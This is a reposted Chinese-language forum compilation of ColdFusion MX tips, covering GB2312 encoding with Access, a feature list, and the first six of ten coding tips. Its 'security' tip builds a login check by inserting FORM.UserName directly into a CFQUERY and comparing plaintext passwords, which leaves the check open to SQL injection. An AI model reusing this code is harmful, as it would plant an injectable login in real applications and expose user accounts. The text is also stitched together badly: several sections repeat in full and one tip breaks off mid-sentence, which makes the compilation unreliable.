一个台湾的Macromedia开发者讨论的bbs里的东西。
觉的有用,不能白去一趟!(下次去我的ID肯定就没了!!台湾人似乎不太欢迎大陆同胞~~~~~ )
不管那么多,先收藏再说。盗亦有道。取之于民,用之于民。
觉的有用的,有必要的,有价值的,要收藏的,值得一看的(废话多了点)就帮着往死里顶!
-------------------------------------------------------------------------------------------------------------------
Coldfusion 結合 Access 中文顯示問題
作者: Kyle 12/11/02
內容:
首先,在每一頁要傳遞和處理中文的頁面頂部加上如下代碼(也可以放在application.cfm裏,但在有些情況下會有問題):
<cfprocessingdirective pageencoding="gb2312">
<cfcontent type="text/html; charset=gb2312">
<cfset setEncoding("URL", "gb2312")>
<cfset setEncoding("Form", "gb2312")>
註:如果你使用Dreamweaver MX,可以在功能表Insert裏用CFPageEncoding來插入以上代碼(確認你的Windows系統的地域設置是簡體中文)。
以上步驟無論你是否使用資料庫,只要要處理中文變數都需要的。
下面來解決Ms Access 的問題。
CFMX的ODBC service, 和ODBC Socket Driver的缺省配置不支援雙位元組字元,所以就算你加上了以上的代碼只是解決了CFMX處理中文的問題,所有傳到ODBC的中文還是會有問題,要讓ODBC service和ODBC Socket Driver支援中文,必須修改其缺省模式,方法如下:
確認系統services裏ColdFusion MX ODBC Agent 和 ColdFusion MX ODBC Server services兩個服務起來了。
找到你的cfmx安裝的路徑,如果是c:/Cfusionmx 的話在dos提示符下運行這行命令
c:/cfusionmx/db/slserver32/admin/setcp.bat OS (注意OS是大寫)
成功的話,會有如下提示:
DataDirect SequeLink Manager Version 5.2 (build 0092)
(c) Copyright 1995-2000 MERANT, Inc., All rights reserved
然後把ColdFusion MX ODBC Agent 和 ColdFusion MX ODBC Server services兩個服務重新啟動,或把系統重開。
這時在ms access裏用中文就真的沒問題了 以上方法在在winnt4+cfmx+access97 和win2k server+cfmx+access2002上均成功。
註:如果要恢復原來的設置運行如下命令:
c:/cfusionmx/db/slserver32/admin/setcp.bat default
要看例子在這裏
http://vvjohn.dyndns.org:8500/study/chinese.cfm
其他一些關於在cfmx中中文要注意的地方
cfmx 不允許用中文做檔案名
當然更不能在cfinclude等中使用帶中文的檔案名。
不能用使用Encrypt和Decrypt來處理中文
--------------------------------------------------------
主題: Macromedia ColdFusion MX 的新功能
作者: John 11/21/02
內容:
與.NET、XML 和 Web 服務整合
利用嵌入式 XML 文檔分析、XSL 轉換和資料到 XML 的自動串行化,輕鬆地與 XML 資料整合。將 web 服務整合到自己的應用程式中,或利用基於標準的 web 服務引擎出版自己的 Web 服務。
運用 CF 組件構建高級應用程式
利用標準 CFML 建立自存檔、可重用的組件。ColdFusion MX 組件能讓一次編寫組件,然後從 ColdFusion MX 頁或 Macromedia Flash 客戶機調用,或作為 web 服務調用,從而使定制標記更上一層樓。
毫不費力地使用或出版WED服務
使用一行程式碼就能從的應用程式調用Web服務,也可以使用ColdFusion組件和基於標準的Web服務引擎出版自己的web服務.
運用 Macromedia Dreamweaver MX 節省開發時間
通過結合強大的可視化設計工具和剛重新設計的程式碼編輯器,Dreamweaver MX 可提供穩健的應用程式開發、快速的可視化原型設計、整合的調試以及對 ColdFusion MX 新語言元件和功能的全面支援。
提高性能和可靠性
通過利用 Java 平台久經考驗的性能和可靠性,提高站點響應性和可用性。運用共享變量鎖定和帶有共享記憶體變量的簡化鎖定配置,加速大量應用程式的開發。
運用動態圖表繪製和 Macromedia Flash 遠程服務使的站點更加引人入勝
運用快速、安全的協議將 ColdFusion MX 的資料傳遞給 Macromedia Flash 客戶機,並利用 Macromedia Flash MX 創作環境對 ColdFusion MX 調試的全面支援,輕鬆地建立豐富應用程式。使用增強的繪圖功能,包括多資料級數支援、完全可定制的輸出和報表類型、批報表和挖掘功能。
運用強大的新調試功能加快開發進度
運用可從 Macromedia Dreamweaver MX IDE 內訪問的增強錯誤訊息、可定制的跟蹤和更好的輸出組織,更快地找到錯誤。
輕鬆地將現有的應用程式遷移到 ColdFusion MX Foundation
通過遵循完整的遷移指南,並運用程式碼相容性分析器識別任何潛在問題,快速升級現有的伺服器。
使的應用程式國際化
運用嵌入式 UNICODE 支援,構建支援基於字元的語言(漢語、日語或韓語)的應用程式。
就像 ColdFusion MX 定制標記一樣重用 JSP 標記庫
通過重用 ColdFusion MX 內的組件提高效率。 導入 JSP 標記庫,並象使用 ColdFusion MX 定制標記一樣使用 JSP 標記,或整合 CFML 頁和 Java servlets。
------------------------------------------------------------------
主題: 10 個 ColdFusion 的小技巧-1 動態產生 SQL 敘述
作者: Kyle 2/16/03
內容:
動態產生 SQL 敘述
使用 ColdFusion 最立即可見的好處在於你可以在網頁中使用變數。一般來說,我們使用 #VariableScope.Variable.Name# 這樣的形式來參照到 ColdFusion 所提供的變數。雖然在很多變數裡面並不一定要提供變數範圍(scope)這項資訊,我們還是建議你最好能夠隨時掌握所有變數的來源。
ColdFusion 的另一項強大功能是他能夠讓我們在 標籤裡面內嵌標準的 SQL 敘述,並藉此與資料庫系統相互溝通。更棒的是我們還可以將 SQL 敘述與 ColdFusion 變數相互結合,達到動態產生查詢語句的功能。
下面是一個典型的靜態 SQL 查詢語句:
<CFQUERY Name="MyQuery" Datasource="MyDSN">
SELECT *
FROM News
</CFQUERY>
上面的查詢語句會從 News 資料表中取出所有紀錄,並且每筆記錄都包含了該資料表中的所有欄位。然而一旦你的資料庫裡面儲存了上百篇新聞文章資料,上面這個查詢語句所取得的資料就在使用上就顯得很不方便了。如果你要在頁面上顯示的是最新的新聞文章,那麼你真正想取得的資料應該是近期的幾筆,而非整個新聞資料表中的所有紀錄。
如果你在新聞資料表的每筆記錄中都儲存了日期資訊,那麼你可以撰寫一個查詢語句來(舉例來說)篩選出日期在最近兩個星期以內的新聞文章資料。要達到這項功能,你可以在查詢語句中搭配使用 DateAdd 函數以及一個變數:
<CFQUERY Name="MyQuery" Datasource="MyDSN">
SELECT *
FROM News
WHERE NewsDate > #DateAdd('D', -14, Now())#
</CFQUERY>
DateAdd 函數使用一個日期作為參數(這裡的 Now() 函數會傳回當時的日期與時間),並且將這個日期加上一個指定的時間量(在這個例子裡面,我們加上「負十四天」,這樣做的結果便是減去十四天而非加上十四天)。此函數中的「D」參數是用
觉的有用,不能白去一趟!(下次去我的ID肯定就没了!!台湾人似乎不太欢迎大陆同胞~~~~~ )
不管那么多,先收藏再说。盗亦有道。取之于民,用之于民。
觉的有用的,有必要的,有价值的,要收藏的,值得一看的(废话多了点)就帮着往死里顶!
-------------------------------------------------------------------------------------------------------------------
Coldfusion 結合 Access 中文顯示問題
作者: Kyle 12/11/02
內容:
首先,在每一頁要傳遞和處理中文的頁面頂部加上如下代碼(也可以放在application.cfm裏,但在有些情況下會有問題):
<cfprocessingdirective pageencoding="gb2312">
<cfcontent type="text/html; charset=gb2312">
<cfset setEncoding("URL", "gb2312")>
<cfset setEncoding("Form", "gb2312")>
註:如果你使用Dreamweaver MX,可以在功能表Insert裏用CFPageEncoding來插入以上代碼(確認你的Windows系統的地域設置是簡體中文)。
以上步驟無論你是否使用資料庫,只要要處理中文變數都需要的。
下面來解決Ms Access 的問題。
CFMX的ODBC service, 和ODBC Socket Driver的缺省配置不支援雙位元組字元,所以就算你加上了以上的代碼只是解決了CFMX處理中文的問題,所有傳到ODBC的中文還是會有問題,要讓ODBC service和ODBC Socket Driver支援中文,必須修改其缺省模式,方法如下:
確認系統services裏ColdFusion MX ODBC Agent 和 ColdFusion MX ODBC Server services兩個服務起來了。
找到你的cfmx安裝的路徑,如果是c:/Cfusionmx 的話在dos提示符下運行這行命令
c:/cfusionmx/db/slserver32/admin/setcp.bat OS (注意OS是大寫)
成功的話,會有如下提示:
DataDirect SequeLink Manager Version 5.2 (build 0092)
(c) Copyright 1995-2000 MERANT, Inc., All rights reserved
然後把ColdFusion MX ODBC Agent 和 ColdFusion MX ODBC Server services兩個服務重新啟動,或把系統重開。
這時在ms access裏用中文就真的沒問題了 以上方法在在winnt4+cfmx+access97 和win2k server+cfmx+access2002上均成功。
註:如果要恢復原來的設置運行如下命令:
c:/cfusionmx/db/slserver32/admin/setcp.bat default
要看例子在這裏
http://vvjohn.dyndns.org:8500/study/chinese.cfm
其他一些關於在cfmx中中文要注意的地方
cfmx 不允許用中文做檔案名
當然更不能在cfinclude等中使用帶中文的檔案名。
不能用使用Encrypt和Decrypt來處理中文
--------------------------------------------------------
主題: Macromedia ColdFusion MX 的新功能
作者: John 11/21/02
內容:
與.NET、XML 和 Web 服務整合
利用嵌入式 XML 文檔分析、XSL 轉換和資料到 XML 的自動串行化,輕鬆地與 XML 資料整合。將 web 服務整合到自己的應用程式中,或利用基於標準的 web 服務引擎出版自己的 Web 服務。
運用 CF 組件構建高級應用程式
利用標準 CFML 建立自存檔、可重用的組件。ColdFusion MX 組件能讓一次編寫組件,然後從 ColdFusion MX 頁或 Macromedia Flash 客戶機調用,或作為 web 服務調用,從而使定制標記更上一層樓。
毫不費力地使用或出版WED服務
使用一行程式碼就能從的應用程式調用Web服務,也可以使用ColdFusion組件和基於標準的Web服務引擎出版自己的web服務.
運用 Macromedia Dreamweaver MX 節省開發時間
通過結合強大的可視化設計工具和剛重新設計的程式碼編輯器,Dreamweaver MX 可提供穩健的應用程式開發、快速的可視化原型設計、整合的調試以及對 ColdFusion MX 新語言元件和功能的全面支援。
提高性能和可靠性
通過利用 Java 平台久經考驗的性能和可靠性,提高站點響應性和可用性。運用共享變量鎖定和帶有共享記憶體變量的簡化鎖定配置,加速大量應用程式的開發。
運用動態圖表繪製和 Macromedia Flash 遠程服務使的站點更加引人入勝
運用快速、安全的協議將 ColdFusion MX 的資料傳遞給 Macromedia Flash 客戶機,並利用 Macromedia Flash MX 創作環境對 ColdFusion MX 調試的全面支援,輕鬆地建立豐富應用程式。使用增強的繪圖功能,包括多資料級數支援、完全可定制的輸出和報表類型、批報表和挖掘功能。
運用強大的新調試功能加快開發進度
運用可從 Macromedia Dreamweaver MX IDE 內訪問的增強錯誤訊息、可定制的跟蹤和更好的輸出組織,更快地找到錯誤。
輕鬆地將現有的應用程式遷移到 ColdFusion MX Foundation
通過遵循完整的遷移指南,並運用程式碼相容性分析器識別任何潛在問題,快速升級現有的伺服器。
使的應用程式國際化
運用嵌入式 UNICODE 支援,構建支援基於字元的語言(漢語、日語或韓語)的應用程式。
就像 ColdFusion MX 定制標記一樣重用 JSP 標記庫
通過重用 ColdFusion MX 內的組件提高效率。 導入 JSP 標記庫,並象使用 ColdFusion MX 定制標記一樣使用 JSP 標記,或整合 CFML 頁和 Java servlets。
------------------------------------------------------------------
主題: 10 個 ColdFusion 的小技巧-1 動態產生 SQL 敘述
作者: Kyle 2/16/03
內容:
動態產生 SQL 敘述
使用 ColdFusion 最立即可見的好處在於你可以在網頁中使用變數。一般來說,我們使用 #VariableScope.Variable.Name# 這樣的形式來參照到 ColdFusion 所提供的變數。雖然在很多變數裡面並不一定要提供變數範圍(scope)這項資訊,我們還是建議你最好能夠隨時掌握所有變數的來源。
ColdFusion 的另一項強大功能是他能夠讓我們在 標籤裡面內嵌標準的 SQL 敘述,並藉此與資料庫系統相互溝通。更棒的是我們還可以將 SQL 敘述與 ColdFusion 變數相互結合,達到動態產生查詢語句的功能。
下面是一個典型的靜態 SQL 查詢語句:
<CFQUERY Name="MyQuery" Datasource="MyDSN">
SELECT *
FROM News
</CFQUERY>
上面的查詢語句會從 News 資料表中取出所有紀錄,並且每筆記錄都包含了該資料表中的所有欄位。然而一旦你的資料庫裡面儲存了上百篇新聞文章資料,上面這個查詢語句所取得的資料就在使用上就顯得很不方便了。如果你要在頁面上顯示的是最新的新聞文章,那麼你真正想取得的資料應該是近期的幾筆,而非整個新聞資料表中的所有紀錄。
如果你在新聞資料表的每筆記錄中都儲存了日期資訊,那麼你可以撰寫一個查詢語句來(舉例來說)篩選出日期在最近兩個星期以內的新聞文章資料。要達到這項功能,你可以在查詢語句中搭配使用 DateAdd 函數以及一個變數:
<CFQUERY Name="MyQuery" Datasource="MyDSN">
SELECT *
FROM News
WHERE NewsDate > #DateAdd('D', -14, Now())#
</CFQUERY>
DateAdd 函數使用一個日期作為參數(這裡的 Now() 函數會傳回當時的日期與時間),並且將這個日期加上一個指定的時間量(在這個例子裡面,我們加上「負十四天」,這樣做的結果便是減去十四天而非加上十四天)。此函數中的「D」參數是用
10 個 ColdFusion 的小技巧-2為應用程式加上安全防護
作者: Kyle 2/16/03
內容:
為應用程式加上安全防護
ColdFusion 企業版本身內建了一套安全防護架構。然而如果你無法取得企業版的 ColdFusion 伺服器,或者不想使用內建的安全機制,那麼你也可以建構一套自己的應用程式安全防護功能。在這裡我們提供一些實作想法,好讓你有個開端。
首先你得先建立好一個樣版(template),內含一個使用者登入表單,該表單裡面必須包含 UserName 以及 Password 這兩個欄位。請把這個檔案儲存成為 loginform.cfm,日後當使用者未經過認證時,該使用者便會被導向到這個登入頁面。
在 ColdFusion 環境裡面,一個應用程式的相關定義與參數設定是記錄在 application.cfm 這個檔案裡面的,而這個檔案正是用來放置應用程式範圍安全機制相關程式的最佳地點。在這裡我們將會使用一個使用者狀態(session)變數來記錄使用者的認證狀態(雖然你也可以改用客戶端變數(client variable)來實作這項功能)。
<CFPARAM NAME="SESSION.VALIDATED" DEFAULT="No">
一旦我們定義好 SESSION.VALIDATED 這個變數,接下來便可以檢查使用者是否已經通過認證:
<CFIF SESSION.VALIDATED IS "No">
一旦我們發現使用者尚未通過認證,我們便可以透過一連串程式碼來檢查使用者是否來自登入表單頁面,然後比對使用者輸入的帳號與密碼是否有效,最後便可讓使用者通過認證程序。在這個程序的任何一個階段裡面,如果使用者未經授權,我們便把該使用者導向到登入表單頁面,並且停止執行接下來的任何程式碼。請參考下面這段範例程式,裡面的註解會說明每個步驟的功能與用處。
<!--- 如果使用者是來自登入表單頁面... --->
<CFIF ISDEFINED("FORM.Password") AND ISDEFINED("FORM.UserName")>
<!--- 根據接收到的使用者名稱,到資料庫中查詢該使用者的資料 --->
<CFQUERY NAME="CheckPassword" DATASOURCE="mydsn">
SELECT UserName, Password
FROM Users
WHERE (UserName = '#FORM.UserName#')
</CFQUERY>
<!--- 如果密碼正確,則授與該使用者存取這個應用程式的權力 --->
<CFIF FORM.PASSWORD IS #CheckPassword.Password#>
<!--- 讓使用者通過認證 --->
<CFSET SESSION.VALIDATED = "Yes">
<!--- 如果密碼不正確,則再次顯示登入表單 --->
<CFELSE>
<CFINCLUDE TEMPLATE="/mypath/loginform.cfm">
<CFABORT>
</CFIF>
<!--- 如果表單變數是處於未定義狀態,表示使用者並非來自於登入表單頁面,因此我們顯示登入表單。 --->
<CFELSE>
<CFINCLUDE TEMPLATE="/mypath/loginform.cfm">
<CFABORT>
</CFIF>
<!--- 如果 SESSION.VALIDATED 變數的值已經是 YES 了,表示使用者之前已經通過認證。略過安全性檢查,繼續執行應用程式的其他部分。 --->
</CFIF>
如果你把上面這段程式碼放在 application.cfm 裡面,那麼它便可以為你的整個應用程式提供基本的安全機制。
--------------------------------------------------------------------------------------------------------------
10 個 ColdFusion 的小技巧 3- 讓客戶端變數逾期
作者: Kyle 2/16/03
內容:
讓客戶端變數逾期
這些方式的其中之一便是客戶端變數(client variable)。客戶端變數和使用者狀態變數(session variables)類似,不同之處在於使用者狀態變數是儲存在 ColdFusion 伺服器的記憶體中,而客戶端變數則是儲存在 cookie 裡面,Windows 註冊資料庫(Windows registry)或者外部的資料庫伺服器裡面。這項差異乍看之下並不太重要,然而如果你使用一系列 ColdFusion 伺服器搭配組成負載平衡(load-balance)環境的話,這項差異性就變得非常關鍵了。
在負載平衡伺服器環境之下,你永遠無法得知哪一部伺服器會被指定來處理哪一個使用者發出的請求。負載平衡硬體或者軟體純粹僅是將接收到的使用者請求傳遞給當時負載最輕的伺服器來處理。在這樣的狀況下我們無法正常運用使用者狀態變數,因為某部伺服器上面儲存的使用者狀態變數,對於其他伺服器而言都是不可見的。每當負載平衡硬體(或者軟體)將同一個使用者從某部伺服器重新導向到另一部伺服器(亦即:該使用者的某次請求被分配給 A 伺服器來處理,而下一次請求卻被分配給 B 伺服器來處理),使用者狀態變數便會立刻消失不見。
要解決這個問題的方法之一便是使用客戶端變數,將使用者相關資訊儲存在另一部所有參與負載平衡的伺服器皆可存取得到的外部資料庫裡面。然而這項作法本身卻又會帶來其他必須考量的問題,特別是如果你要透過客戶端變數來儲存儲存敏感性或者安全性資料的時候。你可以設定讓客戶端變數在某段時間之後便過期失效,但是這個時間間隔最短只能設定成一天。如果你儲存的是使用者認證相關資料,你應該會想要讓這段逾期時間設定成更短,例如十五分鐘。要做到這項短時間逾期功能,你只需要多加一些額外的 CFML 程式碼。
我建立了另一個稱作 CF_ClientTimeout 的自訂標籤來替你處理這個問題。同樣地,你可以直接在 Allaire 公司的開發情報交換中心網站上下載使用。這個標籤透過日期與時間相關函數來把目前時間與使用者上一次存取某個頁面的時間加以比對,如果兩者的時間差距大於你自己設定的某個時間長度,那麼該使用者的相關資訊便會被視為已經逾期並且失去效用。如果你在 applicaiton.cfm 這個檔案裡面使用這個標籤,那麼這個標籤便會在同一個應用程式裡面的所有頁面裡頭進行這項時間比對工作。相關的程式碼如下:
<CFPARAM NAME="CLIENT.CheckLastVisit" DEFAULT="#CreateODBCDateTime(Now())#">
<CFSET Compare = DateCompare(DateAdd("n", (ATTRIBUTES.TimeOut * -1), CreateODBCDateTime(Now())), CLIENT.CheckLastVisit)>
<CFIF Compare IS NOT -1>
<CFSET CALLER.TimedOut = "Yes">
<CFELSE>
<CFSET CALLER.TimedOut = "No">
</CFIF>
<CFSET CLIENT.CheckLastVisit = CreateODBCDateTime(Now())>
如果你輸入 TimeOut 變數的值為 30(TimeOut = 30),那麼使用者便會在連續三十分鐘沒有作任何動作之後,被系統視為已經逾期。一旦被系統視為逾期,下一次該使用者試圖再次存取某個頁面的時候,這個自訂標籤便會傳回 TimeOut 變數的值為「Yes」,你可以使用一個 CFIF 敘述來判斷這個變數值,並且將逾期使用者的相關客戶端變數刪除掉,或者修改某個認證變數的值(例如將 CLIENT.VALIDATED 變數的值設定成「No」,CLIENT.VALIDATED = "No"),並且接著執行一段使用者登入程序。
作者: Kyle 2/16/03
內容:
為應用程式加上安全防護
ColdFusion 企業版本身內建了一套安全防護架構。然而如果你無法取得企業版的 ColdFusion 伺服器,或者不想使用內建的安全機制,那麼你也可以建構一套自己的應用程式安全防護功能。在這裡我們提供一些實作想法,好讓你有個開端。
首先你得先建立好一個樣版(template),內含一個使用者登入表單,該表單裡面必須包含 UserName 以及 Password 這兩個欄位。請把這個檔案儲存成為 loginform.cfm,日後當使用者未經過認證時,該使用者便會被導向到這個登入頁面。
在 ColdFusion 環境裡面,一個應用程式的相關定義與參數設定是記錄在 application.cfm 這個檔案裡面的,而這個檔案正是用來放置應用程式範圍安全機制相關程式的最佳地點。在這裡我們將會使用一個使用者狀態(session)變數來記錄使用者的認證狀態(雖然你也可以改用客戶端變數(client variable)來實作這項功能)。
<CFPARAM NAME="SESSION.VALIDATED" DEFAULT="No">
一旦我們定義好 SESSION.VALIDATED 這個變數,接下來便可以檢查使用者是否已經通過認證:
<CFIF SESSION.VALIDATED IS "No">
一旦我們發現使用者尚未通過認證,我們便可以透過一連串程式碼來檢查使用者是否來自登入表單頁面,然後比對使用者輸入的帳號與密碼是否有效,最後便可讓使用者通過認證程序。在這個程序的任何一個階段裡面,如果使用者未經授權,我們便把該使用者導向到登入表單頁面,並且停止執行接下來的任何程式碼。請參考下面這段範例程式,裡面的註解會說明每個步驟的功能與用處。
<!--- 如果使用者是來自登入表單頁面... --->
<CFIF ISDEFINED("FORM.Password") AND ISDEFINED("FORM.UserName")>
<!--- 根據接收到的使用者名稱,到資料庫中查詢該使用者的資料 --->
<CFQUERY NAME="CheckPassword" DATASOURCE="mydsn">
SELECT UserName, Password
FROM Users
WHERE (UserName = '#FORM.UserName#')
</CFQUERY>
<!--- 如果密碼正確,則授與該使用者存取這個應用程式的權力 --->
<CFIF FORM.PASSWORD IS #CheckPassword.Password#>
<!--- 讓使用者通過認證 --->
<CFSET SESSION.VALIDATED = "Yes">
<!--- 如果密碼不正確,則再次顯示登入表單 --->
<CFELSE>
<CFINCLUDE TEMPLATE="/mypath/loginform.cfm">
<CFABORT>
</CFIF>
<!--- 如果表單變數是處於未定義狀態,表示使用者並非來自於登入表單頁面,因此我們顯示登入表單。 --->
<CFELSE>
<CFINCLUDE TEMPLATE="/mypath/loginform.cfm">
<CFABORT>
</CFIF>
<!--- 如果 SESSION.VALIDATED 變數的值已經是 YES 了,表示使用者之前已經通過認證。略過安全性檢查,繼續執行應用程式的其他部分。 --->
</CFIF>
如果你把上面這段程式碼放在 application.cfm 裡面,那麼它便可以為你的整個應用程式提供基本的安全機制。
--------------------------------------------------------------------------------------------------------------
10 個 ColdFusion 的小技巧 3- 讓客戶端變數逾期
作者: Kyle 2/16/03
內容:
讓客戶端變數逾期
這些方式的其中之一便是客戶端變數(client variable)。客戶端變數和使用者狀態變數(session variables)類似,不同之處在於使用者狀態變數是儲存在 ColdFusion 伺服器的記憶體中,而客戶端變數則是儲存在 cookie 裡面,Windows 註冊資料庫(Windows registry)或者外部的資料庫伺服器裡面。這項差異乍看之下並不太重要,然而如果你使用一系列 ColdFusion 伺服器搭配組成負載平衡(load-balance)環境的話,這項差異性就變得非常關鍵了。
在負載平衡伺服器環境之下,你永遠無法得知哪一部伺服器會被指定來處理哪一個使用者發出的請求。負載平衡硬體或者軟體純粹僅是將接收到的使用者請求傳遞給當時負載最輕的伺服器來處理。在這樣的狀況下我們無法正常運用使用者狀態變數,因為某部伺服器上面儲存的使用者狀態變數,對於其他伺服器而言都是不可見的。每當負載平衡硬體(或者軟體)將同一個使用者從某部伺服器重新導向到另一部伺服器(亦即:該使用者的某次請求被分配給 A 伺服器來處理,而下一次請求卻被分配給 B 伺服器來處理),使用者狀態變數便會立刻消失不見。
要解決這個問題的方法之一便是使用客戶端變數,將使用者相關資訊儲存在另一部所有參與負載平衡的伺服器皆可存取得到的外部資料庫裡面。然而這項作法本身卻又會帶來其他必須考量的問題,特別是如果你要透過客戶端變數來儲存儲存敏感性或者安全性資料的時候。你可以設定讓客戶端變數在某段時間之後便過期失效,但是這個時間間隔最短只能設定成一天。如果你儲存的是使用者認證相關資料,你應該會想要讓這段逾期時間設定成更短,例如十五分鐘。要做到這項短時間逾期功能,你只需要多加一些額外的 CFML 程式碼。
我建立了另一個稱作 CF_ClientTimeout 的自訂標籤來替你處理這個問題。同樣地,你可以直接在 Allaire 公司的開發情報交換中心網站上下載使用。這個標籤透過日期與時間相關函數來把目前時間與使用者上一次存取某個頁面的時間加以比對,如果兩者的時間差距大於你自己設定的某個時間長度,那麼該使用者的相關資訊便會被視為已經逾期並且失去效用。如果你在 applicaiton.cfm 這個檔案裡面使用這個標籤,那麼這個標籤便會在同一個應用程式裡面的所有頁面裡頭進行這項時間比對工作。相關的程式碼如下:
<CFPARAM NAME="CLIENT.CheckLastVisit" DEFAULT="#CreateODBCDateTime(Now())#">
<CFSET Compare = DateCompare(DateAdd("n", (ATTRIBUTES.TimeOut * -1), CreateODBCDateTime(Now())), CLIENT.CheckLastVisit)>
<CFIF Compare IS NOT -1>
<CFSET CALLER.TimedOut = "Yes">
<CFELSE>
<CFSET CALLER.TimedOut = "No">
</CFIF>
<CFSET CLIENT.CheckLastVisit = CreateODBCDateTime(Now())>
如果你輸入 TimeOut 變數的值為 30(TimeOut = 30),那麼使用者便會在連續三十分鐘沒有作任何動作之後,被系統視為已經逾期。一旦被系統視為逾期,下一次該使用者試圖再次存取某個頁面的時候,這個自訂標籤便會傳回 TimeOut 變數的值為「Yes」,你可以使用一個 CFIF 敘述來判斷這個變數值,並且將逾期使用者的相關客戶端變數刪除掉,或者修改某個認證變數的值(例如將 CLIENT.VALIDATED 變數的值設定成「No」,CLIENT.VALIDATED = "No"),並且接著執行一段使用者登入程序。
10 個 ColdFusion 的小技巧-4 善用應用程式變數
作者: Kyle 2/16/03
內容:
善用應用程式變數
應用程式變數(Application variables)對於同一個應用程式中的所有頁面來說都是可隨時叫用的。通常這類變數都是設定在 application.cfm 這個檔案裡面,但是它們也可以在其他單一頁面裡面設定。應用程式變數對於儲存整個應用程式共用的資料來說非常有用,例如資料來源名稱,絕對路徑或者顏色設定資料等等。
為了展示一下應用程式變數的用處,在這裡我打算說明如何以應用程式變數來儲存顏色設定資料。雖然 4.0 以及更新版本等支援 CSS 的瀏覽器佔有率日漸提高,還是有很多使用者仍然在繼續使用舊版瀏覽器。如果你仍在使用 <FONT> 標籤來設定文字樣式,並且使用 color 屬性來設定表格與文字的顏色,那麼你應該心知肚明當日後要修改網站的顏色設定的時候,你的惡夢就要開始了!使用 ColdFusion,我們可以用另一種更輕鬆有效的方式來設定頁面的各種顏色:那就是把色彩設定儲存在應用程式變數裡面。一旦你把顏色設定透過應用程式變數儲存起來,你就可以透過變數名稱來參照到這些顏色,而非直接將色彩名稱(或者 16 進位色碼)直接寫在程式裡面。進一步來看,你只需要修改這些應用程式變數的值,那麼所有相關的頁面中的顏色就會一起改變。
在你的 application.cfm 檔案裡面,你可以設定一個應用程式變數讓它的值包含一個空白結構(結構是一個鍵-值配對或者一個二維陣列):
<CFSCRIPT>
application.colors=structNew();
</CFSCRIPT>
這樣一來你便有了一個名為 Application.Colors 的應用程式變數了,該變數的值是一個空白結構。接下來你便可以將需要用的顏色名稱儲存在這個空白結構裡面。下面是一個例子:
<CFSCRIPT>
application.colors=structNew();
application.colors.body='FFFFFF';
application.colors.text='708090';
application.colors.link='C0F171';
application.colors.blue='131E63';
application.colors.red='C01531';
application.colors.yellow='FFFFE6';
</CFSCRIPT>
現在在你的頁面裡頭你便不再需要將顏色名稱直接寫進去,只要直接參照 Application.Colors 裡面的變數就可以了。舉例來說,在 <BODY> 標籤裡面你可以使用下面這樣的寫法:
<CFOUTPUT>
<BODY
BGCOLOR="#application.colors.body#"
TEXT="#application.colors.text#"
LINK="#application.colors.link#">
</CFOUTPUT>
你可以把這個技巧應用在表格,框線或者其他任何使用到顏色屬性的地方。如此一來,你便可以很輕鬆地隨時調整網站的顏色設定,因為所有的顏色都儲存在同一個地方,修改起來非常容易。
記得適時鎖定
在讀取或者設定應用程式(application),使用者狀態(session)或者伺服器這些範圍的變數的時候,很重要的一點是在適當的變數範圍內使用 CFLOCK 標籤進行變數的鎖定。CFLOCK 標籤可以確保共用資料的完整與一致性,在高流量的伺服器上面,這項工作尤顯重要。如果你需要更多這方面的資料,請閱讀你的使用說明文件,或者參考 ColdFusion 開發者期刊(ColdFusion Developer's Journal)網站上面的這篇文章。
-------------------------------------------------------------------------------------------------
10 個 ColdFusion 的小技巧-5 設定你的根目錄
作者: Kyle 2/16/03
內容:
設定你的根目錄
網站開發人員向來都一直必須在相對路徑 vs. 絕對路徑這項議題上面打轉。在 ColdFusion 環境裡面,你可以在多個不同頁面使用 CFINCLUDE 標籤,不過既然我們對於在哪個目錄裡面將會用到 CFINCLUDE 語法,因此在 CFINCLUDE 標籤裡面使用相對路徑經常會造成很多麻煩。
舉例來說,某個被包含的選單裡面可能有一個指向網站首頁的連結,像下面這樣:
<A HREF="index.cfm">Home Page</A>
在網站根目錄下面的任何檔案引入這個包含檔都不會有問題。但是如果你在某個次目錄下的一個檔案裡面引入這個選單檔案,那麼上面這個超鏈結便會失效,或者至少會連結到錯誤的頁面去。這時候你實際上會希望這個超鏈結是寫成這樣:
<A HREF="../index.cfm">Home Page</A>
有兩種方式可以克服這個問題。一個是在超鏈結裡面直接使用絕對路徑。要使用這個作法,你必須在 ColdFusion 裡面預先設定好一個路徑對應關係(mapping)。你可以在 ColdFusion 管理員(ColdFusion Administrator)的「路徑對應(Mappings)」區塊裡面建立這些對應關係。一旦你建立好了路徑對應關係,你便可以把指向網站首頁的超鏈結寫成下面這個樣子:
<A HREF="/mymapping/index.cfm>Home Page</A>
如果你使用了絕對路徑,那麼不論你在那個位置引入這個檔案,該檔案裡面的超鏈結永遠都會保持有效。我通常使用一個叫做 APPLICATION.RootDir 的應用程式變數來儲存這項路徑對應設定,並且在超鏈結裡面直接套用這個變數。使用這個作法,如果我真有必要修改目錄結構或者路徑對應的名稱,那麼我只需要修改這麼一個變數的值就可以了。
<CFSET APPLICATION.RootDir = "/MyMapping">
如果你套用這個變數,你的超鏈結看起來會像下面這樣:
<A HREF="#APPLICATION.RootDir#/index.cfm">
在每個頁面的開端建立這樣的變數,那麼你就可以在該頁面的其他部分套用這個變數的值。包含檔案運作起來就像該檔案的內容實際上真的被寫入原有頁面一樣,因此如果檔案 A 引入了檔案 B,那麼在檔案 B 裡面我們便可以直接參照到檔案 A 裡面的變數值:
<!--- 在每個頁面設定 RootDir 變數值 --->
<CFSET RootDir ="../">
<!--- 在被引入的頁面中參照 RootDir 變數的值(只要確定這個變數確實有被定義即可,否則在引入檔案的時候會出現錯誤訊息) --->
<A HREF="#RootDir#news/newspage.cfm"></code>
-------------------------------------------------------------------------------------------
10 個 ColdFusion 的小技巧-6 引入一個能夠動態改變強調區域的選單
作者: Kyle 2/16/03
內容:
引入一個能夠動態改變強調區域的選單
有很多充分的理由讓 CFINCLUDE 成為 ColdFusion 伺服器裡面最好用的標籤。這個標籤讓我們能夠在某個頁面裡頭引入其他檔案的內容,其運作方式就如同被引入的檔案內容是直接寫在原有檔案裡面一樣。你可以使用 CFINCLUDE 來引入頁面的頁首,頁尾,版面設定,選單或者其他各種內容。
